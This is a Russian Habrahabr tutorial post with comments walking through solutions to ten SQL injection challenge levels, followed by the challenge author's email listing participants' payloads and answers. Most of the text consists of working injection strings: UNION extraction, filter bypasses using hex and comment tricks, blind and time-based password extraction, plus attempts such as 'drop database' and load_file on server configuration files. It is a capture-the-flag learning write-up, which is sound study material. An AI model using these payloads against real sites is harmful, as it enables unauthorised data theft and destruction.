24 марта 2015 в 16:50

Решение задач по sql injection с сайта alexbers.com/sql из песочницы tutorial

Хочу поделиться с «Хабрахабром» примером своих решений задач по sql-инъекциям с сайта alexbers.

Пример 1: www.alexbers.com/sql/1.php


Это даже и не пример. Требуется самому написать запрос с заранее известными всем таблицами, именем пользователя.
Дано: 
Таблица: users
Поля: id,login,pass 

Решение:
select * from users where id='12'

а ссылка будет выглядеть вот так:
https://www.alexbers.com/sql/1.php?text=select+*+from+users+where+id%3D%2712%27

Просто запрос со всеми данными, которые нам заведомо известны.

Пример 2: www.alexbers.com/sql/qnbutn2.php


Нам продемонстрирован запрос:
select * from users where id=2 or login='$text' 

Дано:
Таблица: users
Поля: id,login,pass 
Требование: Ура, я знаю ответ(пароль юзера с id=9):

В этом примере показана примитивная уязвимость: входные данные никак не фильтруются. Поэтому мы можем воспользоваться кавычкой:
https://www.alexbers.com/sql/qnbutn2.php?text=-1' or  id='9

Что мы сделали? Мы привели запрос к такому виду:
select * from users where id=2 or login='-1' or  id='9'

Мы пытаемся извлечь из таблицы users пользователя с id=2 или с login=1 или с id=9, которая взята кавычкой слева и будет закрыта кавычкой оригинального запроса. Поскольку пользователя -1 не существует, мы из этого запроса ничего не получаем, зато id=9 существует. В результате получаем вывод из 2-х строк — пользователь с id=2 и с id=9.

Пример 3: www.alexbers.com/sql/sdjjy3.php



Опять виден запрос:
select * from users where id=2 or login='$text' limit 1 

Дано:
Таблица: users
Поля: id,login,pass 
Требование: Ура, я знаю ответ(пароль юзера с id=13):

Различие с предыдущим примером — ограничение на вывод в 1 строку. Уходит приплясывая при постановке комментария, который «уберет» конец строки, т.е. Он не будет обработан.

Решение:
https://www.alexbers.com/sql/sdjjy3.php?text=-1' or id=13 -- 123

Вид запроса:
select * from users where id=2 or login='-1' or id=13 -- 123' limit 1 

Таким образом мы выкидываем ограничение и извлекаем пользователя с id=13.

Пример 4: www.alexbers.com/sql/qjqhweh4.php



Запрос:
select * from users where id=2 or login='$text' limit 1 

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 3 поля
Требование: Ура, я знаю ответ(данное секретной таблицы с полем ggg=abc):

Чуток поинтересней. Теперь у нас 2 таблицы и запрос выполняется не к той таблице, которая нам нужна. Воспользуемся классическим способом. В mysql существует оператор, который позволяет выполнять запрос к разным таблицам через 1 запрос. Для работы с объединением запросов нам необходимо, чтобы во всех объединяемых запросах количество полей было одинаковым. Воспользуемся оператором UNION. По задаче требуется найти данное секретной таблицы с полем ggg=abc. Количество полей в столбцах одинаково, потому запрос примет вид:

Запрос:
https://www.alexbers.com/sql/qjqhweh4.php?text=-1'+union+select+* from secret where ggg='abc'+--+123

Один из результатов и будет ответом на уровень.

Пример 5: www.alexbers.com/sql/sdfkjsdk5.php



Запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 2 поля
Требование: Ура, я знаю ответ(данное секретной таблицы):

Попробуем повторить предыдущий пример. Узнаем сколько колонок в таблице users, извлечем список всех колонок для секретной таблицы. В данный момент у нас нет одинакового количества колонок, поэтому union надо использовать по-другому.
https://www.alexbers.com/sql/sdfkjsdk5.php
?text=1' union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'--+123

Видим, что у нас в таблице secret – находится 2 колонки, извлечем их значения:
https://www.alexbers.com/sql/sdfkjsdk5.php?text=-1' union select 1,dfgdfgfdg,dfgfddfgdfdfdf from secret-- 123

Видим ответ.

Пример 6: www.alexbers.com/sql/skldj6



Запрос:
select * from users where id=$text limit 1 

Дано:
Таблицы: users
Поля: id,login,pass - это в users. 
Фильтруются кавычки, выводится только 1 строка из БД
Требование: Ура, я знаю ответ(пароль пользователя с ником god):

Здесь видно непонимание принципов работы фильтра mysq_real_escape_string, когда значение переменной id не помещено в кавычки. Тогда, хоть они и 50 раз фильтруются, они нам и не нужны, для текстовых полей можно будет использовать функцию CHAR() или перевести в hex.
https://www.alexbers.com/sql/skldj6.php?text=-1 union select id,login,pass from users where login=0x676f64


Пример 7: www.alexbers.com/sql/dsfhsdjkf7.php



Дано:
Таблицы: users
Поля: id,login,pass - это в users.Теперь всегда выводится только первая строка ответа(остальные не выводятся)
Фильтруются символы ',",+,=,запятая,пробел,скобки
Требование: Ура, я знаю ответ(пароль пользователя, с ником, содержащим в себе gentoo):

Запрос:
select * from users where id=$text limit 1 

Поскольку выборка идет сразу по нужной нам таблице, то даже не придется использовать второй запрос. Пробелы заменяются на комметарии /**/ и /*!*/, остается только одна проблема — фильтруется знак равенства. Но его можно обойти, используя оператор like. Сравние со строкой предполагает кавычки, поэтому закодируем ее в hex. Также, нам доподлинно неизвестен ник, который мы ищем, поэтому будем использовать поиск по маске со значком % в логине. Итоговый вектор атаки примет вид:
https://www.alexbers.com/sql/dsfhsdjkf7.php?text=-1/*!or/*!login*/like/**/0x2567656e746f6f25


Пример 8: www.alexbers.com/sql/qqqwwweeerrr8.php



Запрос:
select * from users where id=$text

Дано:
Таблицы: users
Поля: id,login,pass - это в users.
Подсказка: сообщения от ошибках не выведутся 
Требование: Ура, я знаю ответ(пароль пользователя, с ником fast)

Единственное, что нам вообще что-то выводится — информация о том, что произошла какая-то ошибка, или количество выведенных записей. Количество выводимых записей — единственное число, которым мы можем управлять. От нас требуется получить пароль от пользователя. Пароль — это некоторая информация, записываемая в числово-буквенном виде. Все, чем мы можем оперировать — цифры. Значит пароль надо представить в численном виде. Если взять и перевести каждый символ в ascii–вид, то любой символ из пароля будет в виде числа. Для отделения символа воспользуемся функцией mid(), для перевода в ascii – функция ascii(), вектор атаки получится вот таким:
https://www.alexbers.com/sql/qqqwwweeerrr8.php
?text=-1 or id<=(select ascii(mid(pass,1,1)) from users where login='fast')

Вывод даст нам ascii-представление первого символа пароля. Дальше делаем запрос для второго и т.д.

Пример 9: www.alexbers.com/sql/almost9.php



Таблицы: users
Поля: id,login,pass - это в users.
Запрос: select * from users where id=$text
Требуется: "Ура, я знаю ответ (числовая сумма логинов пользователей с 20<=id<=30)".

То есть нам надо вытащить числовое значение каждого логина и сложить. При этом будем оперировать следующим сравнением:

Вектор атаки разделяется на 2 запроса:
https://www.alexbers.com/sql/almost9.php
?text=-1 or id <= cast((select sum(login) from users where id between 20 and 30) as signed INTEGER)/10
https://www.alexbers.com/sql/almost9.php
?text=-1 or id <= MOD(cast((select sum(login) from users where id between 20 and 30) as signed INTEGER),10)

Всего в таблице 1069 записей, поэтому мы не сможем вывести ответ за один

пример 10



Решение 10й задачи описано уже на ютубе, посмотреть можно вот здесь: www.youtube.com/watch?v=dLSxTGvwcLw
@bykvaadm
карма
11,0
рейтинг 0,0
Самое читаемое Разработка

Комментарии (4)

  • +3
    Куча ошибок, в том числе в том, как раскручивать инъекции, куча того, что показывает что вы не знаете многое по sql injection, нет решения на самые интересные инъекции. То что вы написали — статья новичка на античате в середине 2000-ых.
  • НЛО прилетело и опубликовало эту надпись здесь
    • +1
      :) понимаю o_0
  • +6
    Очень приятно, что мои 10 задачек на sql injection решают спустя почти 7 лет после их создания.

    Нашёл письма которые были высланы первым участникам с прохождением.

    Уровни 1-9
    как надо было проходить челендж по sql инъекциям(http://209.250.241.67/sql/)
    ссылка была дана 23.10.2008 ~18:00
    потом было дано несколько недель на прохождение
    итаак…

    === ВОРНЕНГ ===

    !!!
    !!! если хотите попроходить сами, не читайте дальше!!!
    !!! если не хотите, листайте вниз!!!
    !!!

    Ну… раз не хотите…
    === ЛЕВЕЛ 1 ===
    1.php(прошли 29 раз)

    Тут все просто: вводим запрос, получаем ответ.
    Как я проходил: select * from users
    Прошли первый раз в 18:07:14
    Как проходили вы:
    так же
    select pass from users where id = 12
    ну и всё такое в этом духе

    Жгли:
    drop database level1 =)
    drop table users =))
    select version()
    show tables
    select 'hello'
    select id from users
    SELECT PASSWORD('badpwd');
    SELECT PASSWORD('god');
    select ord('god')
    select char(103)
    select char(103,103)
    select count(*)
    select count(*) from users
    select char(103,103,104)
    select quote(103)
    select hex('1')
    select hex(«select hex('1')»)
    0x73656C656374206865782827312729
    select * from level2.useres
    select hex('gentoo')
    %FB%F0%F9%F6%F4+%E5%F4%E8%E4%F3%FB
    select @@datadir
    select load_file('../../../etc/apache/httpd.conf')
    select system('ls')
    select exec('ls')
    SELECT database()
    SELECT load_file('level1/users.MYD')
    SELECT * from users UNION SELECT * FROM users INTO OUTFILE 'file.txt'
    SELECT @@max_allowed_packet
    SELECT table_name,null FROM information_schema.tables
    SELECT load_file('/var/lib/mysql/level1/users.MYD')

    странно, не было ни одного insert'a, create table'а, create database'ы

    Правильный ответ: QwErTy
    Пробовали ответы: %09QwErTy, qwerty, всякие виды sql инъекций

    == ЛЕВЕЛ 2 ==
    qnbutn2.php(прошли 18 раз)

    Тут надо было использовать моск и кавычку.
    Кавычку, для того чтобы закрыть запрос, дальше
    дополняем запрос так, чтобы условие всегда выполнялось,
    а потом так, чтобы еще одна ошибка не была синтаксической ошибкой

    Как я проходил: ' or 1=1 or login='
    Прошли первый раз в 18:10:12
    Как проходили вы:
    qwer' or 1=1#
    asd' union all select * from users where id='9
    $text' UNION SELECT * FROM users where id = 9 or login = '44
    ' OR id=9 OR login='
    ' or id=9 or id='
    qwer'union select * from users where id='9
    select * from users where id=2 or login=$text' or id=9 or
    '$text=''qwer -изврат ))
    123' or id='9
    qwe' or id = 9 order by id asc, 'a

    Жгли:
    qwerty' or id=3 or login='
    qwer' union select 1,2,HEX('aaa') from users #
    qwer' union select 1,2,HEX(«10 union select * from users where login
    like 'gentoo' order by login asc») from users #
    qwer' union select 1,2,CONCAT('0x',HEX('c:\\boot.ini'))#
    qwer' union select 1,2,hex(«qwer' union select 1,2,hex()»)#

    неожиданно много неправильных запросов с ошибками

    Правильный ответ: secreto
    Пробовали ответы: fghfghgfh,rewq,select pass from users where id=9,qqwe

    == ЛЕВЕЛ 3 ==
    sdjjy3.php(прошли 11 раз)

    Тут фишка с комментами была, что перед и после комментов должен быть
    пробельный символ. Без комментов тяжело.

    Как я проходил: ' or id=13 — Прошли первый раз в 18:11:21(быстро, блин)
    Как проходили вы:
    qwer' union select * from users where id=13# — и это с первой попытки
    asd' limit 0 union all select * from users where id='13
    ' limit 0 union select * from users where id=13 or id='
    $text' or id = 13 order by id desc, 'as
    ' or id=13 ORDER BY id DESC,'h
    ' or id=13 order by 2,'
    ' or id=13 order by 1 desc,'
    ' union select * from users where id=13 ORDER BY id DESC,'id
    ' limit 0 union select * from users where id=13 or login='ff

    Жгли:
    ' or id=13 ORDER BY 'rand()

    Правильный ответ: iwanttogo4
    Пробовали ответы: rewq

    == ЛЕВЕЛ 4 ==
    qjqhweh4.php(прошли 8 раз)

    Как я проходил: ' union select * from secret where ggg='abc' — Прошли первый раз в 18:15:03
    Как проходили вы:
    qwer' union select * from secret where ggg='abc' #
    asd' limit 0 union all select * from secret where ggg='abc
    ' limit 0 union select * from secret where ggg='abc
    a' UNION SELECT * FROM secret WHERE ggg='abc' ORDER BY id DESC, 'a
    ' union select * from secret where ggg='abc' order by id desc, '
    ' union select * from secret — aa' limit 0 union select * from secret where ggg='abc' or ggg='

    Правильный ответ: dg
    Пробовали ответы: dfgdfg

    == ЛЕВЕЛ 5 ==
    sdfkjsdk5.php(прошли 7 раз)

    Как я проходил: ' union select *,1 from secret — Прошли первый раз в 18:18:40
    Как проходили вы:
    asd' limit 0 union all select *,1 from secret where 'a'='a
    ' limit 0 union select *,0 from secret where ''='
    qwer' union select *,null from secret #
    a' UNION SELECT *, 0 as id FROM secret ORDER BY id DESC, 'a
    ' or id=14 union select *,5 from secret order by 1 desc, '
    aa' limit 0 union select *,0 from secret where 'a'='a

    Правильный ответ: thisisapass232
    Пробовали ответы: sdfsdf

    == ЛЕВЕЛ 6 ==
    skldj6.php(прошли 7 раз)

    Тут надо было написать запрос без кавычек… не очень сложно. Ещё надо
    было вспомнить что в mysql есть встроенные функции.

    Как я проходил: 0 or login=CHAR(103,111,100)
    Кстати perl -le "$_='god'; print ord for(split //,$_)"
    Прошли первый раз в 18:27:09
    Как проходили вы(както извращенско):
    111111 or (LOCATE(char(103), login)=1 and LOCATE(char(111), login)=2)
    — небанально )))
    9999999999 or ord(login)=103 limit 2,1 — -55 or (ord(SUBSTRING(login,1,1)) = 103 and ord(SUBSTRING(login,2,1))
    = 111 and ord(SUBSTRING(login,3,1)) = 100)
    10 union select * from users where
    login=CONCAT(CHAR(103),CHAR(111),CHAR(100)) order by login desc
    10 union select * from users where login like
    CONCAT(CHAR(103),CHAR(111),CHAR(100)) order by id desc
    -1 or login like 0x25676F25
    перебором ещё пробовали. я писал что база длинная, чтоб не пробовали
    Жгли:
    666
    -55 UNION SELECT count(*) as id,0 as login, 0 as pass from users

    Правильный ответ: ivarywantlevel7
    Пробовали ответы: к 6-му левелы поняли что answer.php не ломается, не
    попробовали ни одного неправильного ответа

    == ЛЕВЕЛ 7 ==
    dsfhsdjkf7.php(прошли 4 раза)

    Тут всё сложнее. Надо было вспомнить что строковые константы можно
    писать как 0x12345678.
    Вместо пробелов можно использовать табуляцию или /**/(пустой коммент)
    Очень много людей не прошли этот уровень.

    Как я проходил:
    0/**/union/**/select*from/**/users/**/where/**/login/**/like/**/0x2567656e746f6f25
    Прошли в первый раз в 19:27:31 — проходили целый час… и то помоему я
    тогда пришёл и прошёл первым
    Как проходили вы:
    0/**/union/**/select/**/*/**/from/**/users/**/where/**/login/**/like/**/0x25676525
    — вот помоему мой запрос
    10/**/union/**/select*from/**/users/**/where/**/login/**/like/**/0x2567656E746F6F25/**/order/**/by/**/id/**/desc
    (20:44:57)
    -1/**/or/**/login/**/like/**/0x25676525 (1:14:09)
    опять были попытки брута… много попыток
    Жгли:
    space(1) — помню сначала скобки не фильтровались, потом мне это
    сказали и оне столи фильтроватся
    к этому моменту уровень ещё никто не прошёл
    Можно было проходить так:
    209.250.241.67/sql/dsfhsdjkf7.php?text=-1%09or%09login%09like%090x25676525
    Или так:
    209.250.241.67/sql/dsfhsdjkf7.php?text=-1%0Aor%0Alogin%0Alike%0A0x25676525

    Правильный ответ: level8please
    Пробовали ответы: iwanttogo4, 13, 3lvl, gentoo, '

    == ЛЕВЕЛ 8 ==
    qqqwwweeerrr8.php(прошли 2 раза)

    Этот не прошли ещё больше людей.
    Как надо было проходить? Сравните:
    0 union select * from users where login='fast' and ascii(substr(pass,1,1))>80
    0 union select * from users where login='fast' and ascii(substr(pass,1,1))<80

    Если нам написали количество записей 1, то условие, что код первой
    буквы <80 выполнилось,
    так угадываем первую букву, потом вторую, и так до последней буквы.

    Прошли первый раз в 20:40:47

    Как проходили вы:
    1 limit 1 union select * from users where login='fast' and pass like '%a%'
    и в like угадывали в таком порядке:
    ab,ac,a,ab,q,9,..., попытки сбрутить 1-ую букву, к несчастию
    это оказалась цифра 9… брутили долго, попытки сбрутить вторую букву… начали
    на этот раз с цифр, дошли до l, догадались что это часть от lev,…,
    попытки сбрутить следующую букву… уже полюбому скрипт написали, узнали что
    следующая — l, потом p, потом a сразу же, потом 2-е ss, потом еще
    зачемто попытались
    следующую брутить, неполучилось, потом подумали что s последнюю не
    угадали, начали
    опять её брутить, сбрутили s. Получилось 9levlpass

    второй ктото догадался что в слове есть часть pass, первая часть слова похожа
    на level, узнал какие буквы есть в слове, и что в нем есть цифра 9

    Правильный ответ: 9levlpass
    Пробовали ответы: iwantlevel9,as, pass, fast

    == ЛЕВЕЛ 9 ==
    almost9.php(прошли 1 раз)

    Прошли первый раз в 23:40:42(в 27 и в 40 минут почему-то прошли 4 левела из 9)
    Этот был даже легче чем 8-ой(передышка перед 10-ым), проходили так:
    -1 union select 0,0,sm from (select sum(login) as sm from users where
    20 <= id and id <= 30) as a where sm > 2000
    ну и так сбрутили число

    Правильный ответ: 2225

    == ЛЕВЕЛ 10 ==
    lastlevel10.php(не прошёл никто) / кроме меня =)

    Щас вышлю отдельным письмом как он ломался.

    Пробовали ответы: qwerty, morkovka, MoRkoVkA, MaRkoVkA, MaRkoFfKa,
    levl10pass, level10pass, carrot
    carrot%FB, carrots, c1, bdsfgf, fgsdfgsdfgsdfgsd ,,
    bay, loginov, pass, level10please,
    fuck, qerdtfyghjkl%3B, йцукен, qwerty, QwEr, 1234

    P.S. чето дохло его пытались сломать, даже близко никакой попытки не было
    Решил что завтра вечером письмо вышлю, когда в ебург
    приеду(~23:00 если не забуду),
    а седня ещё можно его ломать. Морковок еще из дома возьму)))

    Уровень 10
    10ый уровень ломался сложно!

    условие: ничего не известно, ничего не выводиться.
    Но запрос выполняется!!!

    Вот этим и надо было воспользоваться.

    Проблема 1 — неизвестно имя таблицы
    Решение: на первым экране сказано что установлена mysql.
    У ней есть база данных information_schema. В ней есть таблицы TABLES
    и COLUMNS, которые описывают соответственно таблицы и колонки баз
    данных, к которым
    разрешён доступ для текущего пользователя. Их надо было использовать.
    Например запрос SELECT TABLE_NAME from information_schema.TABLES
    where TABLE_SCHEMA='level10' выведет имена таблиц.

    Проблема 2 — черт, ничего не выводиться
    С этим сложнее. Я решал так: в mysql есть функция BENCHMARK. У неё 2
    параметра: сколько раз выполнять и какую функцию. Этой функцией удобно
    делать задержки.
    Например можно сделать задержку в 2-е секунды.
    Фишак вот в чем: составляем такое условие «SELECT поле FROM таблица
    WHERE код первой буква поля>50 и benchmark(9999999,md5(поле)) LIMIT
    1».
    Если первая часть условия(до «и») не выполнилась, то вторая не будет
    считаться («и»=1 <=> левая часть=1 и правая часть=1; левая часть=0 =>
    «и»=0)
    Засекаем время, за которое мы получили ответ от сервера. Выесняем,
    выполнилась или нет левая часть. Если выполнилась то код первой буквы
    > 50.
    Так угадываем 1-ую букву, потом 2-ую, и так до конца.
    Кстати, функция в benchmark'е должна зависеть от значения какой
    нибудь записи в таблице(а то ничего не получится)
    В аттаче сполойт, который делает то, что написано выше. На нормальном
    интернетовском канале не врет. Если будет врать можно поменять
    константы в начале, и врать будет меньше, но работать — дольше.

    ======================================

    10-ый уровень не прошёл никто(((
    Я пытался сделать его полегче, полностью выключил фильтрацию, сделал 1
    таблицу с 1-ой записью и 5 полями, чтобы долго не ломали.
    Всеравно получилось сложновато(но ломаемо)

    P.S. некоторые интересные факты об игре
    — игра писалась 2 дня
    — самое главное условие для меня было чтобы все уровни были проходимы
    — ещё, большое внимание было уделено к тому чтоб, например, из 1-го
    уровня нельзя было пройти 5-ый, или испортить какуюнить таблицу,
    сделав уровень непроходимым
    — answer.php не ломался

    P.P.S спасибо за игру))

    Сейчас я занимаюсь исследованиями в области Identity Federations в университете KIT(Германия) на трехмесячной стажировке.

Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.